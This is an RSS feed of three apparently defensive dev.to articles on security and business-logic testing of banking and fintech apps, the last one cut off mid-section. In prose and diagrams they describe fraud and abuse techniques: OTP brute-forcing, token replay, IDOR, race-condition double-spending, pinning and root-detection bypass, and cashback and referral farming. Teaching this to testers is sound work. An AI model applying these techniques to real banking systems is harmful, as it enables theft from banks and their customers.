<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Arashad Dodhiya</title>
    <description>The latest articles on DEV Community by Arashad Dodhiya (@arashad_dodhiya_0e4bdba5a).</description>
    <link>https://dev.to/arashad_dodhiya_0e4bdba5a</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3676094%2F44443da4-e92a-4c56-9139-54d04da1f682.jpg</url>
      <title>DEV Community: Arashad Dodhiya</title>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/arashad_dodhiya_0e4bdba5a"/>
    <language>en</language>
    <item>
      <title>20 Threat Scenarios Every Banking Application Should Test (Before Attackers Do)</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Sun, 21 Jun 2026 06:48:38 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/20-threat-scenarios-every-banking-application-should-test-before-attackers-do-3mc4</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/20-threat-scenarios-every-banking-application-should-test-before-attackers-do-3mc4</guid>
      <description>&lt;p&gt;Every banking app I've ever worked on "worked" on the day it shipped. Login worked. Transfers worked. The balance updated correctly after every test case. QA signed off, the release notes went out, and everyone moved on to the next sprint.&lt;/p&gt;

&lt;p&gt;And almost every one of those apps still had at least one issue that had nothing to do with whether a feature worked — and everything to do with whether it could be &lt;em&gt;bent&lt;/em&gt;. That's the gap functional testing doesn't catch. A banking app can pass 100% of its regression suite and still let someone empty an account, fake a refund, or pull a stranger's statement just by changing a number in a request.&lt;/p&gt;

&lt;p&gt;This is why threat-scenario testing matters more in banking than in almost any other category of software. You're not just protecting data — you're protecting money that moves in real time, often irreversibly. A missed XSS bug on a marketing site is embarrassing. A missed authorization check on a fund-transfer API is a regulatory incident.&lt;/p&gt;

&lt;p&gt;Below are 20 scenarios I make sure get tested on every banking, NBFC, or payments app I touch — grouped the way they actually surface during an assessment, not in OWASP's order. If you're a developer, a QA engineer, or a security tester, treat this as a working checklist rather than a reading list.&lt;/p&gt;

&lt;h2&gt;
  
  
  Identity &amp;amp; Access: Where Most Real Damage Begins
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Predictable or poorly rate-limited OTP
&lt;/h3&gt;

&lt;p&gt;Most banking apps still lean on OTP as the backbone of authentication, and most OTP implementations have at least one soft spot: short length, long expiry windows, no lockout after repeated wrong attempts, or an OTP that stays valid even after a fresh one has been generated. Try it yourself — request an OTP, get it wrong ten times in a row, and see what happens. If nothing does, you've found your first real bug.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Session tokens that outlive the logout button
&lt;/h3&gt;

&lt;p&gt;Tap "Logout," then replay the exact same token against an authenticated endpoint a minute later. A surprising number of apps still treat logout as a purely client-side event — the screen changes, but the server-side session is still very much alive. Pair this with a check on whether logging in from a new device actually kills sessions on the old one.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Privilege escalation between account roles
&lt;/h3&gt;

&lt;p&gt;Joint accounts, sub-users on a merchant dashboard, family banking apps with a "guardian" and a "minor" profile — anywhere there's more than one role attached to a single account is worth probing. Log in as the lower-privilege user, then swap the account or user ID in an API call to one belonging to the higher-privilege role. If the backend trusts the ID in the request over the ID tied to the session token, you've got a problem.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Account-recovery flows that quietly bypass the front door
&lt;/h3&gt;

&lt;p&gt;"Forgot password" and "forgot MPIN" flows get far less scrutiny than login itself, which is exactly why they're worth extra attention. Check whether recovery can be triggered with a SIM-swapped number, whether security questions are guessable, and — this one's easy to miss — whether resetting a password also forces re-registration of biometrics and device binding. If it doesn't, an attacker who takes over recovery has effectively taken over everything downstream too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Transaction Integrity: The Money Has to Move Exactly Once, Exactly as Authorized
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5. Client-side amount tampering
&lt;/h3&gt;

&lt;p&gt;This is the oldest trick in the book and it still works more often than it should. Initiate a transfer, intercept the request after the app has already validated the amount on screen, and change the number before it hits the server. If the backend doesn't independently re-validate the amount against the user's actual limits and balance, the client-side check was theater.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Race conditions that enable double-spending
&lt;/h3&gt;

&lt;p&gt;Fire two transfer or withdrawal requests against the same account balance at almost the exact same moment. If the backend reads the balance, processes both requests, and only then writes the updated balance, both can succeed even though only one should have. This is one of the highest-impact bugs you can find in a banking app, and it's also one of the easiest to overlook in a single-threaded test plan.&lt;/p&gt;

&lt;h3&gt;
  
  
  7. Negative amounts and decimal-precision abuse
&lt;/h3&gt;

&lt;p&gt;Submit a transfer of -500 instead of 500, or try absurd decimal precision like 100.999999999. Some backends round in the attacker's favor, some misinterpret a negative number as a credit instead of rejecting it outright, and some simply crash in a way that leaves a transaction half-applied.&lt;/p&gt;

&lt;h3&gt;
  
  
  8. Currency conversion and rounding exploitation
&lt;/h3&gt;

&lt;p&gt;Anywhere there's a forex conversion, a wallet-to-bank exchange, or a cashback calculation involving fractions of a rupee, there's a rounding rule. Run the same small transaction hundreds of times and check whether the rounding consistently favors the user. A loss of half a paisa per transaction sounds trivial until it's multiplied across a few hundred thousand accounts.&lt;/p&gt;

&lt;h3&gt;
  
  
  9. Replay attacks on transaction requests
&lt;/h3&gt;

&lt;p&gt;Capture a completed, valid transaction request and resend it unchanged a few minutes later. Properly built systems reject this through nonces, timestamps, or idempotency keys. Plenty of systems don't, and a captured request becomes a repeatable transaction.&lt;/p&gt;

&lt;h2&gt;
  
  
  API &amp;amp; Communication: What Happens Between the App and the Server
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10. Rate-limit bypass on OTP, PIN, or CVV verification
&lt;/h3&gt;

&lt;p&gt;Brute-forcing a 4 or 6-digit PIN is entirely feasible if there's no lockout. Test whether throttling is tied to the account, the IP, or the device — and then test what happens when you simply change whichever one it's tied to. A counter that resets the moment you rotate your IP isn't really a counter.&lt;/p&gt;

&lt;h3&gt;
  
  
  11. SSL pinning bypass enabling interception
&lt;/h3&gt;

&lt;p&gt;On a rooted device or emulator with a proxy tool and a pinning-bypass framework, check whether the app still happily talks to a server whose certificate it shouldn't trust. If sensitive payloads — OTPs, account numbers, auth tokens — are visible once pinning is defeated, that's a real interception risk for any user on a compromised device or hostile network.&lt;/p&gt;

&lt;h3&gt;
  
  
  12. Excessive data exposure in API responses
&lt;/h3&gt;

&lt;p&gt;The endpoint that powers a clean two-line account summary on screen often returns far more than two lines under the hood. Inspect the raw response and look for full account numbers, PAN, linked-card details, or other fields the UI quietly discards. If the data left the server, it's exposed — regardless of what the screen shows.&lt;/p&gt;

&lt;h3&gt;
  
  
  13. IDOR on account, transaction, or statement identifiers
&lt;/h3&gt;

&lt;p&gt;While authenticated as yourself, substitute another user's account ID, transaction ID, or statement reference into an API call. This is one of the most consistently found issues across banking apps, and one of the most damaging, because it's a direct path to someone else's financial data with no exploit chain required — just a changed number.&lt;/p&gt;

&lt;h3&gt;
  
  
  14. Webhook and callback spoofing
&lt;/h3&gt;

&lt;p&gt;If your app relies on a payment gateway calling back to confirm success, ask what stops anyone from sending that exact callback directly, without ever touching the gateway. Signature verification on incoming webhooks is non-negotiable here; without it, "payment successful" becomes whatever an attacker says it is.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mobile &amp;amp; Device: The App Doesn't Control the Device It Runs On
&lt;/h2&gt;

&lt;h3&gt;
  
  
  15. Root, jailbreak, and emulator detection bypass
&lt;/h3&gt;

&lt;p&gt;Most apps check for root or jailbreak and then refuse to run, or run in a restricted mode. Most of those checks can be defeated with common, freely available tooling. The real test isn't whether detection exists — it's whether sensitive flows like fund transfer or beneficiary addition still function once detection is bypassed.&lt;/p&gt;

&lt;h3&gt;
  
  
  16. Insecure local storage of sensitive data
&lt;/h3&gt;

&lt;p&gt;Pull the app's data directory or take a backup, then look through the local database and shared preferences for anything that shouldn't be sitting there in plaintext — auth tokens, account numbers, cached statements. Also check the app switcher: does the app blur its screen when backgrounded, or does it leave the last balance check sitting in plain view in the recent-apps tray?&lt;/p&gt;

&lt;h3&gt;
  
  
  17. Biometric authentication that's only skin-deep
&lt;/h3&gt;

&lt;p&gt;Test whether the biometric check is enforced server-side or whether it's purely a local "true/false" gate that a modified client could simply answer "true" to. Also check the PIN fallback — it needs the same lockout and rate-limiting protections as biometrics, otherwise it's the easier door right next to the harder one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Business Logic &amp;amp; Data Hygiene: The Bugs That Don't Show Up in Any Scanner
&lt;/h2&gt;

&lt;h3&gt;
  
  
  18. Beneficiary addition without proportionate friction
&lt;/h3&gt;

&lt;p&gt;Adding a new beneficiary is one of the highest-risk actions in a banking app, because it's the first step toward moving money to an account that was never trusted before. Check whether it requires step-up authentication, whether there's a cooling-off period before large transfers to a newly added beneficiary are allowed, and whether the API enforces that limit independently of whatever the UI shows.&lt;/p&gt;

&lt;h3&gt;
  
  
  19. Loan and credit-limit calculation logic abuse
&lt;/h3&gt;

&lt;p&gt;Income, employment status, and existing obligations typically feed into an eligibility or credit-limit calculation. Try tampering with these fields after the initial client-side check has already run, and test boundary values — an income or age figure sitting exactly on a threshold — to see whether the backend recalculates independently or simply trusts what it's handed.&lt;/p&gt;

&lt;h3&gt;
  
  
  20. Sensitive data leaking through logs and crash reports
&lt;/h3&gt;

&lt;p&gt;Deliberately trigger a crash mid-transaction and then check what lands in the crash reporting tool. Full request and response bodies, OTPs, and account numbers showing up in a third-party crash analytics dashboard is far more common than most teams realize — and it's a finding that rarely comes up until someone actually goes looking.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This List Matters More Than a Clean Scan Report
&lt;/h2&gt;

&lt;p&gt;A clean automated scan tells you the app probably isn't vulnerable to the issues a scanner knows how to look for. It tells you almost nothing about whether the &lt;em&gt;logic&lt;/em&gt; of your banking app can be turned against itself — and that logic is exactly where most of the scenarios above live. None of them are exotic. None require zero-days. They require someone to sit down, think like both a tester and a fraudster, and actually try.&lt;/p&gt;

&lt;p&gt;If you're building or testing a banking app, don't treat this as a one-time audit checklist. Build it into your test plans, revisit it every release, and add to it as your app grows new features — because every new feature is also a new place for an old assumption to quietly become a new vulnerability.&lt;/p&gt;

</description>
      <category>threatmodeling</category>
      <category>cybersecurity</category>
      <category>banking</category>
      <category>fintech</category>
    </item>
    <item>
      <title>Why UPI and Fintech Apps Need Business Logic Testing (Not Just Security Testing)</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Sun, 21 Jun 2026 06:43:44 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/why-upi-and-fintech-apps-need-business-logic-testing-not-just-security-testing-3b4o</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/why-upi-and-fintech-apps-need-business-logic-testing-not-just-security-testing-3b4o</guid>
      <description>&lt;p&gt;Most fintech breaches you read about involve a hacker, a vulnerability, and a headline. Most fintech &lt;em&gt;losses&lt;/em&gt; I've actually seen up close involve none of those things. They involve someone who read the terms of a cashback offer more carefully than the product team did, found the one path through the workflow nobody had tested, and quietly walked away with money the system handed over willingly.&lt;/p&gt;

&lt;p&gt;That's the part standard security testing misses. A penetration test asks: can someone break in? Business logic testing asks a more uncomfortable question: what happens if someone uses every feature exactly as designed, just not exactly as &lt;em&gt;intended&lt;/em&gt;? In a country processing billions of UPI transactions a month, that second question matters just as much as the first — arguably more, because nobody needs a zero-day to abuse a referral program.&lt;/p&gt;

&lt;p&gt;Here's where that gap shows up most often in Indian fintech apps.&lt;/p&gt;

&lt;h2&gt;
  
  
  Wallet Systems: Built for Speed, Tested for Function, Rarely Tested for Abuse
&lt;/h2&gt;

&lt;p&gt;A digital wallet sits at the intersection of multiple money-in paths — UPI, card, net banking, cashback credits — and at least one money-out path. Every intersection like that is a place where timing and assumptions can quietly fall apart.&lt;/p&gt;

&lt;p&gt;The classic version of this is a race condition: top up the wallet and spend from it in two near-simultaneous requests, and check whether the balance check happens before or after both transactions are committed. Done right, this should be impossible. Done wrong, a user can spend money that, technically, hadn't arrived yet — or spend the same balance twice.&lt;/p&gt;

&lt;p&gt;There's a quieter version of the same problem around refunds. If a refund is credited back to the wallet on a different timeline than the original debit was finalized, there's often a window where the balance briefly shows more than it should, and a fast enough user can act inside that window before reconciliation catches up.&lt;/p&gt;

&lt;p&gt;And then there's KYC tiering. Minimum-KYC wallets in India are deliberately capped at lower balance and transaction limits precisely because they require less identity verification. The abuse case writes itself: instead of one wallet pushing past its limit, several min-KYC wallets tied to the same person, device, or document quietly add up to far more than any single one was meant to allow. Testing this means asking not "does one wallet respect its limit," but "does the system know when the &lt;em&gt;same person&lt;/em&gt; is operating five of them."&lt;/p&gt;

&lt;h2&gt;
  
  
  Cashback Abuse: When the Reward Engine Doesn't Talk to the Fraud Engine
&lt;/h2&gt;

&lt;p&gt;Cashback and reward systems are usually built by a growth or marketing team, run on a separate set of rules from the core transaction engine, and tested almost entirely for whether the discount applies correctly. Whether the discount can be &lt;em&gt;farmed&lt;/em&gt; is a different question, and it's often nobody's job to ask it during the build.&lt;/p&gt;

&lt;p&gt;A few patterns show up again and again. Self-referral loops, where the same person — sometimes through nothing more sophisticated than two phone numbers — refers themselves and collects both ends of a referral bonus. "Complete one transaction, get cashback" offers that get triggered by a transaction which is then reversed or charged back, while the cashback itself was never designed to be clawed back along with it. Coupon codes that were meant to be used once per user but turn out to be enforceable only at the UI layer, so a direct API call lets the same code stack indefinitely. And new-user welcome offers claimed repeatedly through device or SIM farming, because "new user" was defined by an account creation date rather than anything tied to the actual device or identity behind it.&lt;/p&gt;

&lt;p&gt;The uncomfortable truth here is that almost none of this requires bypassing security controls. It requires understanding the reward rule better than the team that shipped it, and most reward rules are written to maximize conversion, not to survive someone reading them adversarially.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referral Abuse: When Growth Metrics Become the Attack Surface
&lt;/h2&gt;

&lt;p&gt;Referral programs are one of the cheapest ways to acquire users in a country where customer acquisition cost is a constant pressure on every fintech roadmap, which is exactly why they're targeted as hard as they are.&lt;/p&gt;

&lt;p&gt;The simplest version is account farming — disposable SIMs, emulator farms, or low-cost device clusters generating accounts purely to trigger referral payouts, with no intention of ever becoming a real user. A more subtle version exploits sequencing: if the reward fires the moment a referred account signs up, rather than after it completes genuine KYC or a minimum transaction, the gap between "signed up" and "verified" becomes the exploit window. And almost all of it eventually routes back to a small number of real bank accounts or UPI IDs for cash-out, which is precisely the kind of pattern that's invisible if you're only testing one account at a time, and very visible the moment you test for clusters — shared device IDs, shared IPs, shared bank accounts behind dozens of "different" users.&lt;/p&gt;

&lt;p&gt;This is also where business logic testing and fraud analytics genuinely overlap. Testing a referral program properly means asking the same questions a fraud team would ask after the fact, just before launch instead of after the losses show up in a dashboard.&lt;/p&gt;

&lt;h2&gt;
  
  
  Open Banking and Account Aggregator APIs: A Newer Surface, Tested Far Less
&lt;/h2&gt;

&lt;p&gt;India's Account Aggregator framework, regulated by the RBI, lets a user consent to share financial data from a bank (the Financial Information Provider) with a fintech app (the Financial Information User) through a licensed aggregator sitting in between. It's a genuinely well-designed system on paper — consent-based, purpose-bound, time-limited. Whether it's implemented that way in any given app is a separate question, and it's one that gets tested far less often than it should, mostly because the framework is newer and most testing playbooks haven't caught up yet.&lt;/p&gt;

&lt;p&gt;A few places this tends to break down. Consent scope creep, where an app technically asks for a narrow purpose — say, balance verification for a loan application — but the data actually pulled and stored includes the full transaction history that was never part of the consent artefact. Consent that's been revoked by the user but is still technically usable because the backend never actually checks expiry or revocation status before serving cached data. And data minimization failures, where an API built to answer "is the balance above X" instead returns the full account statement, because it was easier to build one endpoint than two.&lt;/p&gt;

&lt;p&gt;There's also a quieter authentication question worth testing: in a multi-party consent ecosystem, what actually stops one registered FIU from making a request that looks like it's coming from another? The framework assumes every participant is who they claim to be and behaves accordingly. That assumption is worth testing directly rather than trusting by default.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why None of This Shows Up in a Standard Pentest Report
&lt;/h2&gt;

&lt;p&gt;A vulnerability scanner is built to find things with names — SQL injection, broken authentication, insecure deserialization, the kind of issue that maps cleanly to a CVE or an OWASP category. Almost everything above doesn't map cleanly to anything. There's no CVE for "the referral reward fires before KYC completes." There's no scanner signature for "five minimum-KYC wallets belonging to one person add up to more than the limit was supposed to allow."&lt;/p&gt;

&lt;p&gt;That's precisely why it gets missed so often. It doesn't fail a security test, because it was never a security bug in the traditional sense — it's a business rule that nobody adversarially tested. Catching it means building a parallel test track alongside your functional and security testing: one written by people who sit down with the product spec and ask, deliberately and a little uncharitably, "how would I personally try to get more out of this than I'm supposed to?"&lt;/p&gt;

&lt;p&gt;At UPI's transaction volumes, even a fraction-of-a-percent abuse rate stops being a rounding error and starts being a real number on a balance sheet. Treating business logic testing as a genuine, ongoing discipline — not a one-time review before launch — is the difference between finding that number internally, on your own terms, or finding it later, in a fraud report you didn't see coming.&lt;/p&gt;

</description>
      <category>backend</category>
      <category>cybersecurity</category>
      <category>fintech</category>
      <category>upi</category>
    </item>
    <item>
      <title>Business Logic Attacks Explained Using a Banking App</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Sun, 21 Jun 2026 06:22:55 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/business-logic-attacks-explained-using-a-banking-app-27hj</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/business-logic-attacks-explained-using-a-banking-app-27hj</guid>
      <description>&lt;p&gt;&lt;strong&gt;How Attackers Abuse Perfectly Working Features Without Hacking the Code&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Most developers spend months securing authentication, encryption, and APIs.&lt;/p&gt;

&lt;p&gt;Then an attacker steals money without breaking a single security control.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's the scary part about business logic attacks.&lt;/p&gt;

&lt;p&gt;No SQL injection.&lt;br&gt;
No remote code execution.&lt;br&gt;
No malware.&lt;/p&gt;

&lt;p&gt;The application behaves exactly as designed.&lt;/p&gt;

&lt;p&gt;The attacker simply uses the application's own business rules against it.&lt;/p&gt;

&lt;p&gt;And nowhere is this easier to understand than in a banking application.&lt;/p&gt;

&lt;p&gt;In this article, you'll learn what business logic attacks are, how they work inside a banking system, and why traditional security testing often misses them completely.&lt;/p&gt;


&lt;h2&gt;
  
  
  What Is a Business Logic Attack?
&lt;/h2&gt;

&lt;p&gt;A &lt;strong&gt;business logic attack&lt;/strong&gt; occurs when an attacker abuses legitimate application functionality in a way the developers never intended.&lt;/p&gt;

&lt;p&gt;The system isn't technically broken.&lt;/p&gt;

&lt;p&gt;The rules are.&lt;/p&gt;

&lt;p&gt;Think of a bank vault.&lt;/p&gt;

&lt;p&gt;Most security testing focuses on making sure nobody can break the vault door.&lt;/p&gt;

&lt;p&gt;Business logic testing asks a different question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"What if someone convinces the guard to open the vault for them?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The vault works perfectly.&lt;/p&gt;

&lt;p&gt;The process doesn't.&lt;/p&gt;


&lt;h2&gt;
  
  
  Why Banking Applications Are Perfect Examples
&lt;/h2&gt;

&lt;p&gt;Banking systems contain hundreds of business rules:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Who can transfer money&lt;/li&gt;
&lt;li&gt;Transfer limits&lt;/li&gt;
&lt;li&gt;Beneficiary approvals&lt;/li&gt;
&lt;li&gt;Bill payment workflows&lt;/li&gt;
&lt;li&gt;Refund processes&lt;/li&gt;
&lt;li&gt;Reward systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each rule is designed to protect users.&lt;/p&gt;

&lt;p&gt;But if a rule is incomplete, attackers may manipulate it.&lt;/p&gt;

&lt;p&gt;Let's walk through a simplified banking application.&lt;/p&gt;


&lt;h2&gt;
  
  
  Banking Application Overview
&lt;/h2&gt;

&lt;p&gt;Imagine an online banking portal with four major features:&lt;/p&gt;
&lt;h3&gt;
  
  
  1. Login
&lt;/h3&gt;

&lt;p&gt;Users authenticate using:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Username&lt;/li&gt;
&lt;li&gt;Password&lt;/li&gt;
&lt;li&gt;OTP&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  2. Beneficiary Management
&lt;/h3&gt;

&lt;p&gt;Users can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add recipients&lt;/li&gt;
&lt;li&gt;Modify recipient details&lt;/li&gt;
&lt;li&gt;Delete recipients&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  3. Fund Transfer
&lt;/h3&gt;

&lt;p&gt;Users transfer money between accounts.&lt;/p&gt;
&lt;h3&gt;
  
  
  4. Bill Payment
&lt;/h3&gt;

&lt;p&gt;Users pay:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Electricity bills&lt;/li&gt;
&lt;li&gt;Mobile bills&lt;/li&gt;
&lt;li&gt;Credit card bills&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Simple.&lt;/p&gt;

&lt;p&gt;Secure.&lt;/p&gt;

&lt;p&gt;Or at least it looks secure.&lt;/p&gt;


&lt;h2&gt;
  
  
  Banking Workflow Diagram
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+------------------+
|      Login       |
+--------+---------+
         |
         v
+------------------+
| Add Beneficiary  |
+--------+---------+
         |
         v
+------------------+
| Wait Approval    |
| (Cooling Period) |
+--------+---------+
         |
         v
+------------------+
| Transfer Funds   |
+--------+---------+
         |
         v
+------------------+
| Payment Success  |
+------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This workflow exists for a reason.&lt;/p&gt;

&lt;p&gt;Every step adds protection.&lt;/p&gt;

&lt;p&gt;Business logic attacks target those protections.&lt;/p&gt;


&lt;h2&gt;
  
  
  Scenario 1: Beneficiary Approval Bypass
&lt;/h2&gt;

&lt;p&gt;Most banks don't allow immediate transfers to newly added beneficiaries.&lt;/p&gt;

&lt;p&gt;Why?&lt;/p&gt;

&lt;p&gt;Because attackers frequently compromise accounts.&lt;/p&gt;

&lt;p&gt;A waiting period reduces damage.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Add Beneficiary
       |
       v
24 Hour Waiting Period
       |
       v
Transfer Allowed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Seems safe.&lt;/p&gt;

&lt;p&gt;But imagine a flaw where the waiting period is only checked on the user interface.&lt;/p&gt;

&lt;p&gt;An attacker discovers another transfer endpoint that doesn't verify the beneficiary age.&lt;/p&gt;

&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Add Beneficiary
       |
       v
Direct API Request
       |
       v
Transfer Executed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No authentication bypass.&lt;/p&gt;

&lt;p&gt;No vulnerability scanner alert.&lt;/p&gt;

&lt;p&gt;Just a missing business rule validation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Scenario 2: Transfer Limit Manipulation
&lt;/h2&gt;

&lt;p&gt;Most banks enforce daily transfer limits.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Daily Transfer Limit = ₹50,000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The intended rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Total Transfers Today &amp;lt;= ₹50,000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now imagine developers only validate each transaction individually.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Transaction 1 = ₹49,000
Transaction 2 = ₹49,000
Transaction 3 = ₹49,000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every transfer appears valid.&lt;/p&gt;

&lt;p&gt;But collectively:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;₹147,000 Transferred
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The system checked transactions.&lt;/p&gt;

&lt;p&gt;It forgot to check cumulative behavior.&lt;/p&gt;

&lt;p&gt;This is a classic business logic failure.&lt;/p&gt;




&lt;h2&gt;
  
  
  Scenario 3: Beneficiary Ownership Confusion
&lt;/h2&gt;

&lt;p&gt;Let's say a user manages multiple accounts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Savings Account
Current Account
Joint Account
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application allows beneficiary editing.&lt;/p&gt;

&lt;p&gt;The expected logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User can edit
ONLY their own beneficiaries
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker discovers predictable beneficiary IDs.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Beneficiary ID 1001
Beneficiary ID 1002
Beneficiary ID 1003
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If ownership validation is missing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Edit Beneficiary
ID = 1002
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker could modify another user's beneficiary details.&lt;/p&gt;

&lt;p&gt;The feature works exactly as coded.&lt;/p&gt;

&lt;p&gt;The rule doesn't.&lt;/p&gt;




&lt;h2&gt;
  
  
  Scenario 4: Bill Payment Abuse
&lt;/h2&gt;

&lt;p&gt;Now let's examine bill payments.&lt;/p&gt;

&lt;p&gt;Normal workflow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Enter Account
Select Biller
Pay Amount
Receive Confirmation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Many systems offer rewards:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pay Bill
Earn Cashback
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Imagine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;₹100 Cashback
Per New Bill Payment
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The intended rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;One reward per legitimate bill
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But what if:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Create Bill
Pay Bill
Cancel Bill
Repeat
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application keeps issuing rewards.&lt;/p&gt;

&lt;p&gt;The business team created a promotion.&lt;/p&gt;

&lt;p&gt;The attacker created a money-printing machine.&lt;/p&gt;




&lt;h2&gt;
  
  
  Visual Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Legitimate Feature
        |
        v
Missing Business Rule
        |
        v
Unexpected User Action
        |
        v
Financial Impact
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice what's missing.&lt;/p&gt;

&lt;p&gt;No hacking tools.&lt;/p&gt;

&lt;p&gt;No exploits.&lt;/p&gt;

&lt;p&gt;No malware.&lt;/p&gt;

&lt;p&gt;Just logic abuse.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Traditional Security Testing Misses These Issues
&lt;/h2&gt;

&lt;p&gt;Most security scanners are excellent at finding:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SQL Injection&lt;/li&gt;
&lt;li&gt;XSS&lt;/li&gt;
&lt;li&gt;SSRF&lt;/li&gt;
&lt;li&gt;Directory Traversal&lt;/li&gt;
&lt;li&gt;Command Injection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Business logic attacks are different.&lt;/p&gt;

